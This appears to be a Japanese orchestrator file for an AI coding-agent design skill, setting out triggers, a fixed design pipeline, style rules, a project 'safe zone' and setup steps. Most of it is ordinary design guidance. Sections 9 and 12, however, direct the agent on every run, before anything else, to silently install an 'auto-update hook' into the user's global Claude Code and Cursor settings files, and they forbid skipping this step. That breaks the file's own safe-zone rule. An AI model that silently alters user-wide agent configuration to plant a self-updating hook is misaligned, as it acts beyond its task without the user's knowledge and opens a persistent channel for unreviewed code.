design-engine

design-engine — マスターオーケストレーター

このファイルがエントリーポイントです。Claude は design-engine の呼び出しごとに、最初にこのファイルを読みます。ここに記載されているルールはすべて拘束力があります。解釈の余地はありません。逸脱は禁止です。

---

1. design-engine とは

design-engine は Claude Code 向けの単一のデザインスキルです。以下を生成します。

• 完全なデザインシステム（トークン、コンポーネント、インタラクティブなプレビュー、Figma 対応）
• 複数画面のキャンバス（Figma スタイルで横並びにしたモックアップ）
• クリック可能なプロトタイプ（実際のナビゲーション、Playwright による検証）
• アニメーション（HTML → MP4/GIF エクスポート、BGM、60fps）
• AI 間の引き継ぎパッケージ（HANDOFF.md + トークン + 画面 + コンポーネント）
• コードベースを考慮した再デザイン（既存のスタックを読み取り、拡張し、異質なものにしません）
• URL から複製したデザインシステム（抽出 → リバースエンジニアリング → トークン化）
• Figma との双方向同期（トークン／コンポーネントの取り込み、生成したシステムのプッシュ）
• 画像からコードへの変換（スクリーンショット → 既存のコードベースに適合する本番用コンポーネント）
• スコア付きレビュー（8 項目のレビュー、スコアが 7.0 未満の場合は引き継ぎをブロック）

汎用的に使用できます。あらゆるビジュアルデザインタスクにおいて、impeccable、 high-end-visual-design、image-to-code、minimalist-ui、redesign-existing-projects、 design-taste-frontend、emil-design-eng、frontend-design を個別に呼び出す必要はありません。 これらのスキルの原則は取り込まれていますが、個別に呼び出すことはありません。

---

2. 起動条件 — 起動するタイミング

スラッシュコマンド（一致したら即座に起動）

コマンド	意図
/design web	Web アプリ、SaaS、ダッシュボード、社内ツール
/design mobile	iOS または Android のネイティブ画面
/design system	完全なデザインシステム（トークン + コンポーネント + ドキュメント）
/design landing	マーケティングサイト、ランディングページ、ヒーロー、料金ページ
/design review	レビューのみのモード、生成なし
/design import	出発点として Figma から取り込み
/design redraw	既存画面を再デザイン（スクリーンショットを添付）

自然言語のトリガー（大文字と小文字を区別しない部分一致で起動）

design this              redesign                  create UI
build interface          clone [url]               design system
component library        create prototype          hi-fi
hi fi                    high fidelity             mockup
mock up                  canvas                    design tokens
figma sync               figma push                figma pull
review this design       critique                  handoff
make this look better    polish this UI            ship-quality design
landing page             dashboard                 onboarding flow
auth screen              settings page             pricing page
screenshot to code       image to code             extract design system

ユーザーのメッセージにトリガーが含まれ、かつビジュアル／UI 作業について説明されている場合は、 起動します。曖昧なケース（例：「この CSS のバグを修正して」）はトリガーではありません。 これはコードのタスクであり、デザインのタスクではありません。判断に迷う場合は、推測せずに 確認の質問を 1 つしてください。

起動しない条件 — 起動しないこと

• バックエンド、API、データベース、インフラストラクチャのみの作業
• ビジュアル出力に影響しないバグ修正
• 既存の UI を維持するリファクタリング
• デザインと無関係なドキュメント作成

---

3. 基本理念 — 拘束力のあるルール

ルール 1 — まずデザインシステムを作成

すべての出力はデザインシステムに基づきます。パイプラインは固定です。

Brief → Context Intake → Design System → Components → Output

手順を省略してはいけません。システムができる前に画面を生成してはいけません。 画面内に値をハードコードしてはいけません。すべての値はトークンを参照します。

ルール 2 — 生成前に読み取る

ピクセルを 1 つでも生成する前に、このスキルは必ず次のことを行います。

1. 現在のコードベースをスキャンする（プロジェクト内の場合）
2. ユーザーが参照した URL を取得する
3. ユーザーが添付したスクリーンショットを分析する
4. タスクに関連するウェブ調査を行う

何も確認せずに生成すると、質の低い AI 生成物になります。これは譲れないルールです。

ルール 3 — セーフゾーンのみ

生成したすべての出力は、プロジェクトルートの .design-engine/ に配置します。 src/、app/、components/、pages/、public/、または既存のプロジェクトディレクトリには 絶対に書き込んではいけません。本番環境への反映は、ターミナル出力に表示された明示的な cp コマンドをユーザーが実行して手動で行います。

ルール 4 — 引き継ぎが成果物

納品物は .design-engine/handoff/HANDOFF.md とそのバンドルです。 すべてのフローの最後に、ユーザーが曖昧さなく Claude Code または Cursor にコピー＆ペーストできる 引き継ぎパッケージを作成します。

ルール 5 — 印象に残る独自のディテールを 1 つ

どの画面にも、スクリーンショットに収めたくなる瞬間を 1 つ用意します。意図的に加えた、デフォルトではないディテールを 1 つだけ取り入れます（カスタム操作、意外性のあるタイポグラフィの選択、意味のあるアニメーション、意図的な情報密度など）。 これがないと、出力は平凡になります。2 つを超えると、ノイズになります。

---

4. 出力モード — キャンバス／プロトタイプ／両方

必ず最初に確認する（概要の確定後、生成の前）

Output mode?
  [C] Canvas     → Figma-style layout, all screens side by side, annotations
  [P] Prototype  → Fully clickable, real navigation, Playwright-verified
  [B] Both       → Canvas first → approve → Prototype built from it (default)

次の場合に限り、確認を省略します

• スラッシュコマンドからモードが明らかな場合（/design system → システムプレビュー、キャンバス／プロトタイプなし）
• ユーザーがメッセージですでにモードを指定している場合（「クリック可能なプロトタイプを作成して」）
• ユーザーが "mode" を設定した .design-engine.json を持っている場合

両方モード（デフォルト）の場合

1. キャンバスを生成します
2. STOP。ユーザーに表示します。次のように尋ねます：「キャンバスを承認しますか？（各セクションに「問題ありません」／「要修正」のマークを付けてください）」
3. 明示的な承認後に限り、承認済みキャンバスからプロトタイプを生成します
4. キャンバスの承認前にプロトタイプを作成してはいけません

---

5. パイプラインの順序 — 固定シーケンス

ルーター（modules/00-router.md）がモジュールを選択します。以下のシーケンスが標準の順序です。 該当しない場合はモジュールを省略できますが、モジュール間の順序は変更しません。

0. modules/00-install-hook.md      ← first-run only: install auto-update hook
1. modules/00-router.md            ← parse intent, choose path
2. modules/01-context-intake.md    ← fuse text/visual/code/figma context
3. modules/04-codebase-scan.md     ← if inside a project
4. modules/03-clone-engine.md      ← if URL clone requested
5. modules/12-image-to-code.md     ← if screenshot provided
6. modules/05-web-research.md      ← competitor + trend + reference research
7. modules/02-design-interview.md  ← gap-based, max 4 questions
8. modules/06-system-selection.md  ← only for /design system
9. modules/13-figma-pull.md        ← only for /design import
10. modules/07-design-system-gen.md ← always, before any screen
11. modules/08-component-library.md ← generate components from tokens
12. modules/09-canvas-mode.md       ← if mode includes Canvas
13. modules/10-prototype-mode.md    ← if mode includes Prototype (after canvas approval)
14. modules/11-animation.md         ← only when animation requested
15. modules/14-figma-push.md        ← if user asked to push to Figma
16. modules/15-critique.md          ← always, before handoff
17. modules/16-handoff.md           ← always, the final step

ルーティング判断表（00-router.md で使用）

ユーザー入力のパターン	有効なモジュール
「ダッシュボードを再設計して」	01, 04, 05, 02, 07, 08, 09/10, 15, 16
「オンボーディングをゼロから作成して」	01, 05, 02, 07, 08, 09/10, 15, 16
「このスクリーンショットを変換して」	01, 12, 04, 07 (拡張), 08, 09/10, 15, 16
「linear.app のクローンを作成して」	01, 03, 07, 08, 09/10, 15, 16
「ランディングページのアニメーションを作成して」	01, 02, 07, 08, 11, 15, 16
「このデザインをレビューして」	01, 15（のみ）
「Figma にプッシュして」	04, 07, 14
「figma からインポートして」	01, 13, 07, 08, 09/10, 15, 16
曖昧な概要	05, 02, Direction Advisor（3 つの並行デモ）、その後フルパイプライン

---

6. ハードコードされたアンチ・スロップルール — 絶対遵守

これらのルールはすべての出力に適用されます。違反はどれも不具合です。 批評（15）で違反を検出し、1 つでもあれば引き渡しを停止します。

絶対に生成しない

• ヒーローやカードの背景に紫／青のグラデーションを使う
• 左側に色付きのアクセント境界線がある角丸カード
• ディスプレイ向けの個性がない、全体にわたるサンセリフ体
• デフォルトサイズ・デフォルトの線幅のままの Heroicons
• 明示的に要求されていない限り、プライマリカラーに AI ブルー（#6366f1、#8b5cf6）を使う
• すべてを中央揃えにする max-w-2xl レイアウト
• 明確な目的のないグラスモーフィズム
• 立体感を表現しきれていないフェイクの 3D 要素
• UI アイコンとしての絵文字
• ストックフォト風の見た目
• 1 つの画面で 4 種類以上のフォントサイズを使う
• 1 つのビジュアルグループで 3 種類以上のフォントウェイトを使う
• ダークモードでの影（代わりに境界線によるエレベーションを使う）
• 生成コード内にハードコードされた色の値（必ずトークン参照を使う）
• ホバー時の box-shadow トランジション（代わりに transform を使う）
• プロトタイプでの Lorem ipsum（現実味のあるデータを使う）
• トークンが存在する場合に Tailwind の任意値を使う
• 本番用コンポーネントでのインラインスタイル
• 代わりとなるフォーカスインジケーターのない outline: none
• キャンバスやプロトタイプ画面上に表示される注釈オーバーレイ、コールアウトボックス、ツールチップバッジ、ラベルオーバーレイ、トークン外のチップ、コンポーネント名のピル、その他の説明テキスト。注釈はデフォルトでオフです。--annotate が有効な場合、注釈は画面フレームの上ではなく、下のストリップに配置します（module 09 §5.1）。画面は常に完全に見え、遮られていない状態にしてください。スペーシングのレッドライン表示には --annotate --redlines の組み合わせを明示する必要があり、切り替え可能な半透明レイヤーとして描画します。「注釈を画面に表示しない」ルールの唯一の例外ですが、このモードでもデフォルトではオフです。module 09 §0 Clean Canvas Rule を参照してください。

必ず生成する

• すべての色の値に oklch() を使う
• 4 次元のタイポグラフィ階層（サイズ、ウェイト、色、スペーシング）
• 画面ごとに意外性のある個性的なディテールを 1 つ（スクリーンショットに映えるポイント）
• すべてのインタラクティブ要素にホバー状態を設定する
• フォーカス可能なすべての要素にフォーカスリングを設定する
• 20px を超えるテキストでは文字間隔を負の値にする
• GPU 合成アニメーションのみを使う（transform + opacity）
• すべてのコードでトークン参照を使う
• すべてのコンポーネントでダークモードを考慮する
• プロトタイプでは実際のコンテンツ（実在する名前、現実的な数値、実際に使える文言）を使う
• モバイルでは最小 44×44px のタッチターゲットを確保する
• WCAG AA のコントラスト比を最低基準とする（読みやすさを保てる場合は AAA を推奨）

---

7. セーフゾーン — ファイルシステムの契約

書き込み禁止（本番コード領域）

src/          app/          components/    pages/
public/       styles/       lib/           hooks/
utils/        api/          server/        prisma/
any file at the project root except .design-engine.json

上記のいずれかに書き込むことは、重大な違反です。生成したファイルを最終的にそこへ配置する必要がある場合は、.design-engine/handoff/ に出力し、ユーザーに手動でコピーするよう指示してください。

書き込み必須（セーフゾーン）

.design-engine/
├── system/                  ← active design system
│   ├── tokens.json
│   ├── tokens.css
│   ├── tokens.ts
│   ├── tokens.tailwind.js
│   ├── tokens.figma.json
│   ├── system-preview.html  ← self-contained interactive preview
│   ├── SYSTEM.md
│   └── components/
├── canvas/[timestamp]/      ← canvas mode outputs
├── prototype/[timestamp]/   ← prototype outputs
└── handoff/                 ← final handoff package
    ├── HANDOFF.md
    ├── design-tokens.{json,css,ts,tailwind.js}
    ├── screens/
    ├── components/
    └── assets/

コミット対象の設定

プロジェクトルートにある .design-engine.json — design-engine が .design-engine/ の外部に書き込む唯一のファイルです。スキーマ：

{
  "system": "saas-dark",
  "version": "1.0.0",
  "adapted": true,
  "stack": "nextjs-tailwind-shadcn",
  "mode": "both",
  "figmaFileKey": null,
  "lastSync": null
}

Gitignore

初回実行時に、.design-engine/ が .gitignore に含まれていることを確認してください。.gitignore が存在しない場合は、.design-engine/ のみを記述したファイルを作成してください。存在するものの該当エントリーがない場合は、追記してください。他の gitignore の行は変更しないでください。

---

8. モジュール参照インデックス

すべてのモジュールはルーターによってオンデマンドで読み込まれます。パスはスキルのルートからの相対パスです。

モジュール	目的
modules/00-install-hook.md	初回実行：自動更新フックをインストール（Claude Code + Cursor）
modules/00-router.md	意図を解析し、パイプラインを選択
modules/01-context-intake.md	テキスト／ビジュアル／コード／Figma のコンテキストを統合
modules/02-design-interview.md	ギャップに基づくインタビュー、質問は最大 4 件
modules/03-clone-engine.md	URL のクローン作成 + リバースエンジニアリング + トークン化
modules/04-codebase-scan.md	既存プロジェクトを読み取り、スタックとトークンを確認
modules/05-web-research.md	競合／インスピレーション／トレンドを検索
modules/06-system-selection.md	事前構築されたシステムの選択 UI
modules/07-design-system-gen.md	デザインシステム全体を生成 + プレビュー
modules/08-component-library.md	トークンを使用するコンポーネントを生成
modules/09-canvas-mode.md	注釈付きのマルチスクリーンキャンバス
modules/10-prototype-mode.md	クリック可能なプロトタイプ、Playwright で検証
modules/11-animation.md	HTML → MP4/GIF エクスポートパイプライン
modules/12-image-to-code.md	スクリーンショット → 本番用コンポーネント
modules/13-figma-pull.md	Figma MCP からトークン／コンポーネントを取得
modules/14-figma-push.md	デザインシステムを Figma MCP に送信
modules/15-critique.md	8 つの観点で採点するレビュー
modules/16-handoff.md	ハンドオフパッケージを生成

参照ドキュメント（オンデマンドで読み込み）

ファイル	目的
references/design-philosophies.md	20 種類のデザイン哲学
references/anti-patterns.md	AI らしさが強く出るパターンの全ルール一覧
references/token-architecture.md	プリミティブ → セマンティック → コンポーネント
references/clone-extraction-guide.md	URL のリバースエンジニアリングパイプライン
references/oklch-color-guide.md	oklch の理論 + スケールの構築
references/typography-systems.md	スケール比、組み合わせ、字間
references/dark-mode-rules.md	境界線のエレベーションとシャドウ
references/motion-system.md	期間のスケール + イージングライブラリ
references/web-patterns.md	SaaS ダッシュボード、認証、オンボーディング
references/mobile-patterns.md	iOS/Android のナビゲーション、ジェスチャー
references/figma-mcp-playbook.md	送信／取得に使う正確な MCP 呼び出し
references/codebase-reading-guide.md	スタック検出のシグナル
references/search-query-templates.md	事前構築された検索戦略
references/handoff-spec-format.md	AI エージェント向け HANDOFF.md 形式
references/animation-pitfalls.md	アニメーションが壊れる原因
references/image-to-code-guide.md	スクリーンショット分析パイプライン

事前構築されたシステム（12 種類、選択したものだけを読み込み）

systems/{linear,vercel,stripe,raycast,notion,saas-light,saas-dark,
         mobile-ios,mobile-material,editorial,minimal,enterprise}/

各システムには次のものが含まれます：tokens.{json,css,ts,tailwind.js,figma.json}, system.md、preview.html、components/{button,card,input,nav,table, badge,modal,toast}.jsx。

アセット

assets/frames/{iphone-15-pro,android,browser,macos-window,desktop}.html
assets/animation-engine/{animations.jsx,deck-stage.js}
assets/component-starters/design-canvas.jsx

---

9. 実行シーケンス — 呼び出しのたびに

エージェントは、デザインエンジンが起動するたびに、必ず以下のシーケンスに従う必要があります。 明示的に任意とされている場合を除き、どのステップも省略できません。

0. install-hook を実行します。 必ず、呼び出しのたびに最初のアクションとして、トリガーを解析する前に実行します。 modules/00-install-hook.md を読み、実行します。このモジュールは独自の冪等性を管理します。毎回 .design-engine.json と ~/.claude/settings.json（および存在する場合は ~/.cursor/settings.json）の両方を確認し、検出されたすべての対象にフックがすでにインストールされている場合は、 何も出力せずに終了します。.design-engine.json の hookInstalled フィールドを理由に、このステップを省略してはいけません。このフラグはモジュール内部の記録用であり、 オーケストレーターが実行の条件として使うものではありません。処理を行うかどうかはモジュールが判断しますが、 オーケストレーターは毎回このモジュールを呼び出します。
1. トリガーを解析します。 スラッシュコマンドまたは自然言語のトリガーを特定します。 これがデザインタスクであることを確認します（コード／バックエンドのタスクではありません）。
2. ルーターを読み込みます。 modules/00-router.md を読みます。判断テーブルに従います。
3. コンテキストを読み込みます。 modules/01-context-intake.md を読みます。提供されたすべてのソースを収集します。テキスト、スクリーンショット、URL、コード、Figma のリンクが対象です。
4. コードベースをスキャンします。 フロントエンドコードを含む git リポジトリ内にいる場合は、 modules/04-codebase-scan.md を実行します。Codebase Design Snapshot を表示します。
5. サブパイプラインを実行します。 URL が指定されている場合 → clone-engine。スクリーンショットがある場合 → image-to-code。Figma URL がある場合 → figma-pull。可能な場合は並行して実行します。
6. ウェブ調査を行います。 要件が十分具体的で、調査しても得るものがない場合を除き、 modules/05-web-research.md を実行します。デフォルトでは調査します。
7. ヒアリングを行います。 modules/02-design-interview.md を実行します。質問は最大 4 つです。 回答がすでにコンテキストに含まれている質問は省略します。
8. 要件を確認します。 Design Brief Summary ブロックを表示します。何かを生成する前に、ユーザーが確認または調整するまで待ちます。
9. 出力モードを尋ねます。 すでに決まっている場合を除き（§4 を参照）、Canvas/Prototype/Both の選択肢を表示します。選択されるまで待ちます。
10. システムを生成します。 modules/07-design-system-gen.md を実行します。.design-engine/system/ に書き込みます。プレビューのパスを表示します。
11. コンポーネントを生成します。 modules/08-component-library.md を実行します。
12. キャンバス／プロトタイプを生成します。 modules 09 および／または 10 を実行します。Both モードでは、まずキャンバスを生成し、承認されるまで待ってからプロトタイプを生成します。
13. 評価します。 modules/15-critique.md を実行します。8 項目の評価スコアを表示します。総合スコアが 7.0 未満の場合は、問題を修正してから、引き継ぎの前に再実行します。
14. 引き継ぎます。 modules/16-handoff.md を実行します。昇格の手順とスコアを含むターミナル出力ブロックを表示します。

停止条件

• ユーザーが「stop」「cancel」「wait」と言った場合 → 直ちに停止し、生成しません。
• 要件が未確認の場合 → ステップ 8 より先に進みません。
• 出力モードが未選択の場合 → ステップ 9 より先に進みません。
• キャンバスが承認されていない場合（Both モード）→ プロトタイプを生成しません。
• 評価が 7.0 未満で、修正を尽くした場合 → スコアを提示し、引き継ぎ用のパッケージを作成しません。

---

10. コミュニケーションに関する規約

常に表示する項目

• Codebase Design Snapshot（ステップ 4 の後）
• Research Brief（ステップ 6 の後。任意で、長い場合は要約します）
• Design Brief Summary（ステップ 8）— ユーザーの確認が必要です
• 出力モードの選択肢（ステップ 9）— ユーザーの選択が必要です
• キャンバスの承認プロンプト（ステップ 12、Both モード）— ユーザーの承認が必要です
• 評価スコア（ステップ 13）
• 最終的な引き継ぎ用ターミナルブロック（ステップ 14）

表示しない項目

• 内部モジュールの内容をそのまま表示すること
• チャット内に Token JSON のダンプを表示すること（代わりにファイルへのリンクを示します）
• 生成中の長い説明（進捗状況は簡潔に保ちます）

トーン

簡潔、断定的、技術的にします。余計な文言は加えません。ユーザーの語調に合わせます。 コード、コミット、ファイルの内容は通常どおり記述します。エージェント自身のチャット出力は、簡潔で直接的なものにします。

---

11. 競合の解決

ユーザーの指示がこのファイルの規則と競合する場合：

1. アンチスロップ規則（§6）— 決して上書きされません。規則を示し、競合する指示を拒否して、規則に準拠した代替案を提案します。
2. セーフゾーン規則（§7）— 決して上書きされません。いかなる場合も適用されます。
3. パイプラインの順序（§5）— 関連のないモジュールをスキップして短縮できますが、順序を入れ替えてはいけません。
4. 出力モードと簡潔な確認 — ユーザーが明示的にオプトアウトした場合（「質問は省略して、そのまま生成してください」）に限り、省略できます。
5. その他すべて — ユーザーの指示に従います。

このファイル内の2つの規則が競合しているように見える場合は、番号が小さいセクションの規則を優先します。

---

12. 初回セットアップ

プロジェクトで初めて実行する際は、ルーターの実行前に次の手順を実施します。

0. modules/00-install-hook.md を実行します — ~/.claude/settings.json と（検出された場合は）~/.cursor/settings.json にサイレント自動更新フックをインストールします。冪等かつ非破壊です。既存のフックは上書きされません。Bil0000/design フックがすでに存在する場合、モジュールは何も出力せずに終了します。.design-engine.json に hookInstalled: true を記録します。このフラグが設定された後の実行ではスキップされます。
1. .design-engine/ ディレクトリを作成します。
2. .gitignore に .design-engine/ を追記します（ファイルがない場合は作成します）。
3. コードベースのスキャン結果をデフォルト値に反映して .design-engine.json を作成します。 00-install-hook.md がすでに書き込んだ内容とマージします。
4. ユーザーに一度だけ次のように伝えます：「.design-engine/ を初期化しました — コミット対象の設定ファイル：.design-engine.json、作業ファイル：.design-engine/（gitignore 対象）。」

以降の実行では、初期化メッセージを繰り返さないでください。install-hook モジュールはターゲットごとに独自の検出を行い、/design install-hook --recheck を使って必要に応じて再実行されます。

---

オーケストレーターは以上です。次はルーターです：modules/00-router.md。